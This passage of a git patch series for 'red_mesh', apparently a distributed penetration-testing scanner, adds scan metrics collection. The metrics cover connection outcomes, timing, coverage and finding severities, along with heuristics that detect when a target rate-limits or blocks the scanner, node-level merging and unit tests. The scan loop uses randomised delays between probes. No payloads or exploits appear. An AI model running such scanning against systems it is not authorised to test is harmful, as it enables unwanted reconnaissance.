= [] + start_time = self._connection_log[0][0] + end_time = self._connection_log[-1][0] + t = start_time + while t < end_time: + w_end = t + window_size + entries = [(ts, ok) for ts, ok in self._connection_log if t <= ts < w_end] + if entries: + rate = sum(1 for _, ok in entries if ok) / len(entries) + windows.append({ + "window_start": round(t - start_time, 1), + "window_end": round(w_end - start_time, 1), + "success_rate": round(rate, 3), + }) + t = w_end + return windows if windows else None + + def _detect_rate_limiting(self) -> bool: + windows = self._compute_success_windows() + if not windows or len(windows) < 3: + return False + # Detect: last 2 windows have significantly lower success rate than first 2 + first = sum(w["success_rate"] for w in windows[:2]) / 2 + last = sum(w["success_rate"] for w in windows[-2:]) / 2 + return first > 0.5 and last < first * 0.7 + + def _detect_blocking(self) -> bool: + windows = self._compute_success_windows() + if not windows or len(windows) < 2: + return False + # Detect: any window with 0% success rate after a window with >50% success + for i in range(1, len(windows)): + if windows[i - 1]["success_rate"] > 0.5 and windows[i]["success_rate"] == 0: + return True + return False + + def _compute_port_distribution(self) -> dict | None: + if not self._open_ports: + return None + well_known = sum(1 for p in self._open_ports if p <= 1023) + registered = sum(1 for p in self._open_ports if 1024 <= p <= 49151) + ephemeral = sum(1 for p in self._open_ports if p > 49151) + return {"well_known": well_known, "registered": registered, "ephemeral": ephemeral} + + def _compute_coverage(self) -> dict | None: + if self._ports_in_range == 0: + return None + pct = round(self._ports_scanned / self._ports_in_range * 100, 1) if self._ports_in_range else 0 + return { + "ports_in_range": self._ports_in_range, + "ports_scanned": self._ports_scanned, + "ports_skipped": self._ports_skipped, + "coverage_pct": pct, + } + + def build(self) -> ScanMetrics: + """Build ScanMetrics from collected raw data. Safe to call at any time.""" + total_connections = sum(self._connection_outcomes.values()) + outcomes = dict(self._connection_outcomes) + if total_connections > 0: + outcomes["total"] = total_connections + + probes_attempted = len(self._probe_results) + probes_completed = sum(1 for v in self._probe_results.values() if v == "completed") + probes_skipped = sum(1 for v in self._probe_results.values() if v.startswith("skipped")) + probes_failed = sum(1 for v in self._probe_results.values() if v == "failed") + + return ScanMetrics( + phase_durations=self._compute_phase_durations(), + total_duration=round(time.time() - self._scan_start, 2) if self._scan_start else 0, + port_scan_delays=self._compute_stats(self._port_scan_delays), + connection_outcomes=outcomes if total_connections > 0 else None, + response_times=self._compute_stats(self._response_times), + slow_ports=None, # TODO: implement slow port detection + success_rate_over_time=self._compute_success_windows(), + rate_limiting_detected=self._detect_rate_limiting(), + blocking_detected=self._detect_blocking(), + coverage=self._compute_coverage(), + probes_attempted=probes_attempted, + probes_completed=probes_completed, + probes_skipped=probes_skipped, + probes_failed=probes_failed, + probe_breakdown=dict(self._probe_results) if self._probe_results else None, + port_distribution=self._compute_port_distribution(), + service_distribution=dict(self._service_counts) if self._service_counts else None, + finding_distribution=dict(self._finding_counts) if self._finding_counts else None, + ) + + COMMON_PORTS = [ 21, 22, 23, 25, 53, 80, 110, 143, 161, 443, 445, 502, 1433, 1521, 27017, 3306, 3389, 5432, 5900, @@ -181,6 +357,8 @@ def __init__( }, "correlation_findings": [], } + self.metrics = MetricsCollector() + self.__all_features = self._get_all_features() self.__excluded_features = excluded_features @@ -240,6 +418,7 @@ def get_worker_specific_result_fields(): "port_banners" : dict, "scan_metadata" : dict, "correlation_findings" : list, + "scan_metrics" : dict, } @@ -300,6 +479,8 @@ def get_status(self, for_aggregations=False): dct_status["scan_metadata"] = self.state.get("scan_metadata", {}) dct_status["correlation_findings"] = self.state.get("correlation_findings", []) + dct_status["scan_metrics"] = self.metrics.build().to_dict() + return dct_status @@ -377,6 +558,7 @@ def _interruptible_sleep(self): if self.scan_max_delay <= 0: return self.stop_event.is_set() delay = random.uniform(self.scan_min_delay, self.scan_max_delay) + self.metrics.record_port_scan_delay(delay) time.sleep(delay) # TODO: while elapsed < delay with sleep(0.1) could be used for more granular interruptible sleep # Check if stop was requested during sleep @@ -394,24 +576,35 @@ def execute_job(self): """ try: self.P(f"Starting pentest job.") + self.metrics.start_scan(len(self.initial_ports)) if not self._check_stopped(): + self.metrics.phase_start("port_scan") self._scan_ports_step() + self.metrics.phase_end("port_scan") if not self._check_stopped(): + self.metrics.phase_start("fingerprint") self._active_fingerprint_ports() + self.metrics.phase_end("fingerprint") self.state["completed_tests"].append("fingerprint_completed") if not self._check_stopped(): + self.metrics.phase_start("service_probes") self._gather_service_info() + self.metrics.phase_end("service_probes") self.state["completed_tests"].append("service_info_completed") if not self._check_stopped() and not self._ics_detected: + self.metrics.phase_start("web_tests") self._run_web_tests() + self.metrics.phase_end("web_tests") self.state["completed_tests"].append("web_tests_completed") if not self._check_stopped(): + self.metrics.phase_start("correlation") self._post_scan_correlate() + self.metrics.phase_end("correlation") self.state["completed_tests"].append("correlation_completed") self.state['done'] = True @@ -472,9 +665,12 @@ def _scan_ports_step(self, batch_size=None, batch_nr=1): break sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(SCAN_PORT_TIMEOUT) + t0 = time.time() try: result = sock.connect_ex((target, port)) + conn_time = time.time() - t0 if result == 0: + self.metrics.record_connection("connected", conn_time) self.state["open_ports"].append(port) self.P(f"Port {port} is open on {target}.") @@ -543,7 +739,20 @@ def _scan_ports_step(self, batch_size=None, batch_nr=1): self.state["port_protocols"][port] = protocol self.state["port_banners"][port] = banner_text self.state["port_banner_confirmed"][port] = banner_confirmed + self.metrics.record_open_port(port, protocol) + else: + # Port closed/filtered + import errno + if result == errno.ETIMEDOUT: + self.metrics.record_connection("timeout", conn_time) + elif result == errno.ECONNREFUSED: + self.metrics.record_connection("refused", conn_time) + elif result == errno.ECONNRESET: + self.metrics.record_connection("reset", conn_time) + else: + self.metrics.record_connection("refused", conn_time) except Exception as e: + self.metrics.record_connection("error", time.time() - t0) self.P(f"Exception scanning port {port} on {target}: {e}") finally: sock.close() @@ -931,6 +1140,11 @@ def _gather_service_info(self): self.state["service_info"][port] = {} self.state["service_info"][port][method] = info method_info.append(f"{method}: {port}: {info}") + # Record finding severities + if isinstance(info, dict): + for f in info.get("findings", []): + sev = f.get("severity", "INFO") if isinstance(f, dict) else "INFO" + self.metrics.record_finding(sev) # ICS Safe Mode: halt further probes if ICS detected if self.ics_safe_mode and not self._ics_detected and self._is_ics_finding(info): @@ -961,6 +1175,7 @@ def _gather_service_info(self): f"Method {method} findings:\n{json.dumps(method_info, indent=2)}" ) self.state["completed_tests"].append(method) + self.metrics.record_probe(method, "completed") # end for each method return aggregated_info @@ -1006,12 +1221,18 @@ def _run_web_tests(self): if port not in self.state["web_tests_info"]: self.state["web_tests_info"][port] = {} self.state["web_tests_info"][port][method] = iter_result + # Record finding severities + if isinstance(iter_result, dict): + for f in iter_result.get("findings", []): + sev = f.get("severity", "INFO") if isinstance(f, dict) else "INFO" + self.metrics.record_finding(sev) # Dune sand walking - random delay before each web test if self._interruptible_sleep(): return # Stop was requested during sleep # end for each port of current method - self.state["completed_tests"].append(method) # register completed method for port + self.state["completed_tests"].append(method) # register completed method for port + self.metrics.record_probe(method, "completed") # end for each method self.state["web_tested"] = True return result From c1647bdf46c998f0e195148187b597a43ca43899 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 00:37:15 +0000 Subject: [PATCH 18/42] feat: scan metrics aggregation at node level (phase 16b) --- .../cybersec/red_mesh/pentester_api_01.py | 20 +- .../cybersec/red_mesh/test_redmesh.py | 346 ++++++++++++++++++ 2 files changed, 363 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 407eb9f0..c78b1af9 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1128,6 +1128,13 @@ def _close_job(self, job_id, canceled=False): } report = self._get_aggregated_report(local_reports) if report: + # Replace generically-merged scan_metrics with properly summed metrics + thread_metrics = [r.get("scan_metrics") for r in local_reports.values() if r.get("scan_metrics")] + if thread_metrics: + report["scan_metrics"] = ( + thread_metrics[0] if len(thread_metrics) == 1 + else self._merge_worker_metrics(thread_metrics) + ) raw_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) if raw_job_specs is None: self.P(f"Job {job_id} no longer present in chainstore; skipping close sync.", color='r') @@ -1828,7 +1835,13 @@ def _maybe_finalize_pass(self): color='r' ) - # 8. COMPOSE PassReport + # 8. MERGE SCAN METRICS across nodes + node_metrics = [r.get("scan_metrics") for r in node_reports.values() if r.get("scan_metrics")] + pass_metrics = None + if node_metrics: + pass_metrics = node_metrics[0] if len(node_metrics) == 1 else self._merge_worker_metrics(node_metrics) + + # 9. COMPOSE PassReport pass_report = PassReport( pass_nr=job_pass, date_started=pass_date_started, @@ -1842,16 +1855,17 @@ def _maybe_finalize_pass(self): quick_summary=summary_text, llm_failed=llm_failed, findings=flat_findings if flat_findings else None, + scan_metrics=pass_metrics, redmesh_test_attestation=redmesh_test_attestation, ) - # 9. STORE PassReport as single CID + # 10. STORE PassReport as single CID pass_report_cid = self.r1fs.add_json(pass_report.to_dict(), show_logs=False) if not pass_report_cid: self.P(f"Failed to store pass report for pass {job_pass} in R1FS", color='r') continue # skip — don't append partial state to CStore - # 10. UPDATE CStore with lightweight PassReportRef + # 11. UPDATE CStore with lightweight PassReportRef pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 02a5d80b..1cf160fe 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4198,6 +4198,351 @@ def test_list_running_stripped(self): self.assertNotIn("report_cid", entry) +class TestPhase16ScanMetrics(unittest.TestCase): + """Phase 16: Scan Metrics Collection.""" + + def test_metrics_collector_empty_build(self): + """build() with zero data returns ScanMetrics with defaults, no crash.""" + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + result = mc.build() + d = result.to_dict() + self.assertEqual(d.get("total_duration", 0), 0) + self.assertEqual(d.get("rate_limiting_detected", False), False) + self.assertEqual(d.get("blocking_detected", False), False) + # No crash, sparse output + self.assertNotIn("connection_outcomes", d) + self.assertNotIn("response_times", d) + + def test_metrics_collector_records_connections(self): + """After recording outcomes, connection_outcomes has correct counts.""" + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + mc.start_scan(100) + mc.record_connection("connected", 0.05) + mc.record_connection("connected", 0.03) + mc.record_connection("timeout", 1.0) + mc.record_connection("refused", 0.01) + d = mc.build().to_dict() + outcomes = d["connection_outcomes"] + self.assertEqual(outcomes["connected"], 2) + self.assertEqual(outcomes["timeout"], 1) + self.assertEqual(outcomes["refused"], 1) + self.assertEqual(outcomes["total"], 4) + # Response times computed + rt = d["response_times"] + self.assertIn("mean", rt) + self.assertIn("p95", rt) + self.assertEqual(rt["count"], 4) + + def test_metrics_collector_records_probes(self): + """After recording probes, probe_breakdown has entries.""" + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + mc.start_scan(10) + mc.record_probe("_service_info_http", "completed") + mc.record_probe("_service_info_ssh", "completed") + mc.record_probe("_web_test_xss", "skipped:no_http") + d = mc.build().to_dict() + self.assertEqual(d["probes_attempted"], 3) + self.assertEqual(d["probes_completed"], 2) + self.assertEqual(d["probes_skipped"], 1) + self.assertEqual(d["probe_breakdown"]["_service_info_http"], "completed") + self.assertEqual(d["probe_breakdown"]["_web_test_xss"], "skipped:no_http") + + def test_metrics_collector_phase_durations(self): + """start/end phases produce positive durations.""" + import time + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + mc.start_scan(10) + mc.phase_start("port_scan") + time.sleep(0.01) + mc.phase_end("port_scan") + d = mc.build().to_dict() + self.assertIn("phase_durations", d) + self.assertGreater(d["phase_durations"]["port_scan"], 0) + + def test_metrics_collector_findings(self): + """record_finding tracks severity distribution.""" + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + mc.start_scan(10) + mc.record_finding("HIGH") + mc.record_finding("HIGH") + mc.record_finding("MEDIUM") + mc.record_finding("INFO") + d = mc.build().to_dict() + fd = d["finding_distribution"] + self.assertEqual(fd["HIGH"], 2) + self.assertEqual(fd["MEDIUM"], 1) + self.assertEqual(fd["INFO"], 1) + + def test_metrics_collector_coverage(self): + """Coverage tracks ports scanned vs in range.""" + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + mc.start_scan(100) + for i in range(50): + mc.record_connection("connected" if i < 5 else "refused", 0.01) + d = mc.build().to_dict() + cov = d["coverage"] + self.assertEqual(cov["ports_in_range"], 100) + self.assertEqual(cov["ports_scanned"], 50) + self.assertEqual(cov["coverage_pct"], 50.0) + + def test_scan_metrics_model_roundtrip(self): + """ScanMetrics.from_dict(sm.to_dict()) preserves all fields.""" + from extensions.business.cybersec.red_mesh.models.shared import ScanMetrics + sm = ScanMetrics( + phase_durations={"port_scan": 10.5, "fingerprint": 3.2}, + total_duration=15.0, + connection_outcomes={"connected": 50, "timeout": 5, "total": 55}, + response_times={"min": 0.01, "max": 1.0, "mean": 0.1, "median": 0.08, "stddev": 0.05, "p95": 0.5, "p99": 0.9, "count": 55}, + rate_limiting_detected=True, + blocking_detected=False, + coverage={"ports_in_range": 1000, "ports_scanned": 1000, "ports_skipped": 0, "coverage_pct": 100.0}, + probes_attempted=5, + probes_completed=4, + probes_skipped=1, + probes_failed=0, + probe_breakdown={"_service_info_http": "completed"}, + finding_distribution={"HIGH": 3, "MEDIUM": 2}, + ) + d = sm.to_dict() + sm2 = ScanMetrics.from_dict(d) + self.assertEqual(sm2.to_dict(), d) + + def test_scan_metrics_strip_none(self): + """Empty/None fields stripped from serialization.""" + from extensions.business.cybersec.red_mesh.models.shared import ScanMetrics + sm = ScanMetrics() + d = sm.to_dict() + self.assertNotIn("phase_durations", d) + self.assertNotIn("connection_outcomes", d) + self.assertNotIn("response_times", d) + self.assertNotIn("slow_ports", d) + self.assertNotIn("probe_breakdown", d) + + def test_merge_worker_metrics(self): + """_merge_worker_metrics sums outcomes, coverage, findings; maxes duration; ORs flags.""" + TestPhase15Listing._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + m1 = { + "connection_outcomes": {"connected": 30, "timeout": 5, "total": 35}, + "coverage": {"ports_in_range": 500, "ports_scanned": 500, "ports_skipped": 0, "coverage_pct": 100.0}, + "finding_distribution": {"HIGH": 2, "MEDIUM": 1}, + "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, + "total_duration": 60.0, + "rate_limiting_detected": False, "blocking_detected": False, + } + m2 = { + "connection_outcomes": {"connected": 20, "timeout": 10, "total": 30}, + "coverage": {"ports_in_range": 500, "ports_scanned": 400, "ports_skipped": 100, "coverage_pct": 80.0}, + "finding_distribution": {"HIGH": 1, "LOW": 3}, + "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 1, "probes_failed": 0, + "total_duration": 75.0, + "rate_limiting_detected": True, "blocking_detected": False, + } + merged = PentesterApi01Plugin._merge_worker_metrics([m1, m2]) + # Sums + self.assertEqual(merged["connection_outcomes"]["connected"], 50) + self.assertEqual(merged["connection_outcomes"]["timeout"], 15) + self.assertEqual(merged["connection_outcomes"]["total"], 65) + self.assertEqual(merged["coverage"]["ports_in_range"], 1000) + self.assertEqual(merged["coverage"]["ports_scanned"], 900) + self.assertEqual(merged["coverage"]["ports_skipped"], 100) + self.assertEqual(merged["coverage"]["coverage_pct"], 90.0) + self.assertEqual(merged["finding_distribution"]["HIGH"], 3) + self.assertEqual(merged["finding_distribution"]["LOW"], 3) + self.assertEqual(merged["finding_distribution"]["MEDIUM"], 1) + self.assertEqual(merged["probes_attempted"], 6) + self.assertEqual(merged["probes_completed"], 5) + self.assertEqual(merged["probes_skipped"], 1) + # Max duration + self.assertEqual(merged["total_duration"], 75.0) + # OR flags + self.assertTrue(merged["rate_limiting_detected"]) + self.assertFalse(merged["blocking_detected"]) + + + def test_close_job_merges_thread_metrics(self): + """16b: _close_job replaces generically-merged scan_metrics with properly summed metrics.""" + TestPhase15Listing._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + + # Two mock workers with different scan_metrics + worker1 = MagicMock() + worker1.get_status.return_value = { + "open_ports": [80], "service_info": {}, "scan_metrics": { + "connection_outcomes": {"connected": 10, "timeout": 2, "total": 12}, + "total_duration": 30.0, + "probes_attempted": 2, "probes_completed": 2, "probes_skipped": 0, "probes_failed": 0, + "rate_limiting_detected": False, "blocking_detected": False, + } + } + worker2 = MagicMock() + worker2.get_status.return_value = { + "open_ports": [443], "service_info": {}, "scan_metrics": { + "connection_outcomes": {"connected": 8, "timeout": 5, "total": 13}, + "total_duration": 45.0, + "probes_attempted": 2, "probes_completed": 1, "probes_skipped": 1, "probes_failed": 0, + "rate_limiting_detected": True, "blocking_detected": False, + } + } + plugin.scan_jobs = {"job-1": {"t1": worker1, "t2": worker2}} + + # _get_aggregated_report with merge_objects_deep would do last-writer-wins on leaf ints + # Simulate that by returning worker2's metrics (wrong — should be summed) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80, 443], "service_info": {}, + "scan_metrics": { + "connection_outcomes": {"connected": 8, "timeout": 5, "total": 13}, + "total_duration": 45.0, + } + }) + # Use real static method for merge + plugin._merge_worker_metrics = PentesterApi01Plugin._merge_worker_metrics + + saved_reports = [] + def capture_add_json(data, show_logs=False): + saved_reports.append(data) + return "QmReport123" + plugin.r1fs.add_json.side_effect = capture_add_json + + job_specs = {"job_id": "job-1", "target": "10.0.0.1", "workers": {}} + plugin.chainstore_hget.return_value = job_specs + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + plugin._get_job_config = MagicMock(return_value={"redact_credentials": False}) + plugin._redact_report = MagicMock(side_effect=lambda r: r) + + PentesterApi01Plugin._close_job(plugin, "job-1") + + # The report saved to R1FS should have properly merged metrics + self.assertEqual(len(saved_reports), 1) + sm = saved_reports[0].get("scan_metrics") + self.assertIsNotNone(sm) + # Connection outcomes should be summed, not last-writer-wins + self.assertEqual(sm["connection_outcomes"]["connected"], 18) + self.assertEqual(sm["connection_outcomes"]["timeout"], 7) + self.assertEqual(sm["connection_outcomes"]["total"], 25) + # Max duration + self.assertEqual(sm["total_duration"], 45.0) + # Probes summed + self.assertEqual(sm["probes_attempted"], 4) + self.assertEqual(sm["probes_completed"], 3) + # OR flags + self.assertTrue(sm["rate_limiting_detected"]) + + def test_finalize_pass_attaches_pass_metrics(self): + """16c: _maybe_finalize_pass merges node metrics into PassReport.scan_metrics.""" + TestPhase15Listing._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-launcher" + plugin.cfg_llm_agent_api_enabled = False + plugin.cfg_attestation_min_seconds_between_submits = 3600 + + # Two workers, each with a report_cid + workers = { + "node-A": {"finished": True, "report_cid": "cid-report-A"}, + "node-B": {"finished": True, "report_cid": "cid-report-B"}, + } + job_specs = { + "job_id": "job-1", + "job_status": "RUNNING", + "target": "10.0.0.1", + "run_mode": "SINGLEPASS", + "launcher": "node-launcher", + "workers": workers, + "job_pass": 1, + "pass_reports": [], + "timeline": [{"event": "created", "ts": 1700000000.0}], + } + plugin.chainstore_hgetall.return_value = {"job-1": job_specs} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + plugin.time.return_value = 1700000120.0 + + # Node reports with different metrics + node_report_a = { + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "correlation_findings": [], "start_port": 1, "end_port": 32767, + "ports_scanned": 32767, + "scan_metrics": { + "connection_outcomes": {"connected": 5, "timeout": 1, "total": 6}, + "total_duration": 50.0, + "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, + "rate_limiting_detected": False, "blocking_detected": False, + } + } + node_report_b = { + "open_ports": [443], "service_info": {}, "web_tests_info": {}, + "correlation_findings": [], "start_port": 32768, "end_port": 65535, + "ports_scanned": 32768, + "scan_metrics": { + "connection_outcomes": {"connected": 3, "timeout": 4, "total": 7}, + "total_duration": 65.0, + "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 0, "probes_failed": 1, + "rate_limiting_detected": False, "blocking_detected": True, + } + } + + node_reports_by_addr = {"node-A": node_report_a, "node-B": node_report_b} + plugin._collect_node_reports = MagicMock(return_value=node_reports_by_addr) + # _get_aggregated_report would use merge_objects_deep (wrong for metrics) + # Return a dict with last-writer-wins metrics to simulate the bug + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80, 443], "service_info": {}, "web_tests_info": {}, + "scan_metrics": node_report_b["scan_metrics"], # wrong — just node B's + }) + # Use real static method for merge + plugin._merge_worker_metrics = PentesterApi01Plugin._merge_worker_metrics + + # Capture what gets saved as pass report + saved_pass_reports = [] + def capture_add_json(data, show_logs=False): + saved_pass_reports.append(data) + return f"QmPassReport{len(saved_pass_reports)}" + plugin.r1fs.add_json.side_effect = capture_add_json + + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 25, "breakdown": {}}, [])) + plugin._get_job_config = MagicMock(return_value={}) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._build_job_archive = MagicMock() + plugin._clear_live_progress = MagicMock() + plugin._emit_timeline_event = MagicMock() + plugin._get_timeline_date = MagicMock(return_value=1700000000.0) + plugin.Pd = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # Should have saved: aggregated_data (step 6) + pass_report (step 10) + self.assertGreaterEqual(len(saved_pass_reports), 2) + pass_report = saved_pass_reports[-1] # Last one is the PassReport + + sm = pass_report.get("scan_metrics") + self.assertIsNotNone(sm, "PassReport should have scan_metrics") + # Connection outcomes summed across nodes + self.assertEqual(sm["connection_outcomes"]["connected"], 8) + self.assertEqual(sm["connection_outcomes"]["timeout"], 5) + self.assertEqual(sm["connection_outcomes"]["total"], 13) + # Max duration + self.assertEqual(sm["total_duration"], 65.0) + # Probes summed + self.assertEqual(sm["probes_attempted"], 6) + self.assertEqual(sm["probes_completed"], 5) + self.assertEqual(sm["probes_failed"], 1) + # OR flags + self.assertFalse(sm["rate_limiting_detected"]) + self.assertTrue(sm["blocking_detected"]) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -4219,4 +4564,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase12LiveProgress)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase14Purge)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase15Listing)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase16ScanMetrics)) runner.run(suite) From a808a4d03d685352f934fd0422a499754f74286f Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 01:24:51 +0000 Subject: [PATCH 19/42] fix: metrics visualization improvements --- .../cybersec/red_mesh/pentester_api_01.py | 47 +++++++++++++++++++ .../cybersec/red_mesh/redmesh_utils.py | 1 + .../cybersec/red_mesh/test_redmesh.py | 38 ++++++++++++++- 3 files changed, 84 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index c78b1af9..151cad55 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -3134,11 +3134,13 @@ def _merge_worker_metrics(metrics_list): cov_scanned = sum(m.get("coverage", {}).get("ports_scanned", 0) for m in metrics_list if m.get("coverage")) cov_range = sum(m.get("coverage", {}).get("ports_in_range", 0) for m in metrics_list if m.get("coverage")) cov_skipped = sum(m.get("coverage", {}).get("ports_skipped", 0) for m in metrics_list if m.get("coverage")) + cov_open = sum(m.get("coverage", {}).get("open_ports_count", 0) for m in metrics_list if m.get("coverage")) if cov_range: merged["coverage"] = { "ports_in_range": cov_range, "ports_scanned": cov_scanned, "ports_skipped": cov_skipped, "coverage_pct": round(cov_scanned / cov_range * 100, 1), + "open_ports_count": cov_open, } # Sum finding distribution findings = {} @@ -3147,11 +3149,56 @@ def _merge_worker_metrics(metrics_list): findings[k] = findings.get(k, 0) + v if findings: merged["finding_distribution"] = findings + # Sum service distribution + services = {} + for m in metrics_list: + for k, v in (m.get("service_distribution") or {}).items(): + services[k] = services.get(k, 0) + v + if services: + merged["service_distribution"] = services # Sum probe counts for field in ("probes_attempted", "probes_completed", "probes_skipped", "probes_failed"): merged[field] = sum(m.get(field, 0) for m in metrics_list) + # Merge probe breakdown (union of all probes) + probe_bd = {} + for m in metrics_list: + for k, v in (m.get("probe_breakdown") or {}).items(): + # Keep worst status: failed > skipped > completed + existing = probe_bd.get(k) + if existing is None or v == "failed" or (v.startswith("skipped") and existing == "completed"): + probe_bd[k] = v + if probe_bd: + merged["probe_breakdown"] = probe_bd # Max total_duration merged["total_duration"] = max(m.get("total_duration", 0) for m in metrics_list) + # Phase durations: max per phase (parallel threads, longest wins) + phase_durs = {} + for m in metrics_list: + for k, v in (m.get("phase_durations") or {}).items(): + phase_durs[k] = max(phase_durs.get(k, 0), v) + if phase_durs: + merged["phase_durations"] = phase_durs + # Merge stats distributions (response_times, port_scan_delays) + # Use weighted mean, global min/max, approximate p95/p99 from max of per-thread values + for stats_field in ("response_times", "port_scan_delays"): + stats_list = [m[stats_field] for m in metrics_list if m.get(stats_field)] + if stats_list: + total_count = sum(s.get("count", 0) for s in stats_list) + if total_count > 0: + merged[stats_field] = { + "min": min(s["min"] for s in stats_list), + "max": max(s["max"] for s in stats_list), + "mean": round(sum(s["mean"] * s.get("count", 1) for s in stats_list) / total_count, 4), + "median": round(sum(s["median"] * s.get("count", 1) for s in stats_list) / total_count, 4), + "stddev": round(max(s.get("stddev", 0) for s in stats_list), 4), + "p95": round(max(s.get("p95", 0) for s in stats_list), 4), + "p99": round(max(s.get("p99", 0) for s in stats_list), 4), + "count": total_count, + } + # Success rate over time: take from the longest-running thread + longest = max(metrics_list, key=lambda m: m.get("total_duration", 0)) + if longest.get("success_rate_over_time"): + merged["success_rate_over_time"] = longest["success_rate_over_time"] # Detection flags (any thread detecting = True) merged["rate_limiting_detected"] = any(m.get("rate_limiting_detected") for m in metrics_list) merged["blocking_detected"] = any(m.get("blocking_detected") for m in metrics_list) diff --git a/extensions/business/cybersec/red_mesh/redmesh_utils.py b/extensions/business/cybersec/red_mesh/redmesh_utils.py index d95121b5..947fcaa6 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_utils.py +++ b/extensions/business/cybersec/red_mesh/redmesh_utils.py @@ -157,6 +157,7 @@ def _compute_coverage(self) -> dict | None: "ports_scanned": self._ports_scanned, "ports_skipped": self._ports_skipped, "coverage_pct": pct, + "open_ports_count": len(self._open_ports), } def build(self) -> ScanMetrics: diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 1cf160fe..433c78ab 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4285,11 +4285,15 @@ def test_metrics_collector_coverage(self): mc.start_scan(100) for i in range(50): mc.record_connection("connected" if i < 5 else "refused", 0.01) + # Simulate finding 5 open ports (via record_open_port) + for i in range(5): + mc.record_open_port(8000 + i) d = mc.build().to_dict() cov = d["coverage"] self.assertEqual(cov["ports_in_range"], 100) self.assertEqual(cov["ports_scanned"], 50) self.assertEqual(cov["coverage_pct"], 50.0) + self.assertEqual(cov["open_ports_count"], 5) def test_scan_metrics_model_roundtrip(self): """ScanMetrics.from_dict(sm.to_dict()) preserves all fields.""" @@ -4330,16 +4334,24 @@ def test_merge_worker_metrics(self): from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin m1 = { "connection_outcomes": {"connected": 30, "timeout": 5, "total": 35}, - "coverage": {"ports_in_range": 500, "ports_scanned": 500, "ports_skipped": 0, "coverage_pct": 100.0}, + "coverage": {"ports_in_range": 500, "ports_scanned": 500, "ports_skipped": 0, "coverage_pct": 100.0, "open_ports_count": 3}, "finding_distribution": {"HIGH": 2, "MEDIUM": 1}, + "service_distribution": {"http": 2, "ssh": 1}, + "probe_breakdown": {"_service_info_http": "completed", "_web_test_xss": "completed"}, + "phase_durations": {"port_scan": 30.0, "fingerprint": 10.0, "service_probes": 15.0}, + "response_times": {"min": 0.01, "max": 0.5, "mean": 0.05, "median": 0.04, "stddev": 0.03, "p95": 0.2, "p99": 0.4, "count": 500}, "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, "total_duration": 60.0, "rate_limiting_detected": False, "blocking_detected": False, } m2 = { "connection_outcomes": {"connected": 20, "timeout": 10, "total": 30}, - "coverage": {"ports_in_range": 500, "ports_scanned": 400, "ports_skipped": 100, "coverage_pct": 80.0}, + "coverage": {"ports_in_range": 500, "ports_scanned": 400, "ports_skipped": 100, "coverage_pct": 80.0, "open_ports_count": 2}, "finding_distribution": {"HIGH": 1, "LOW": 3}, + "service_distribution": {"http": 1, "mysql": 1}, + "probe_breakdown": {"_service_info_http": "completed", "_service_info_mysql": "completed", "_web_test_xss": "failed"}, + "phase_durations": {"port_scan": 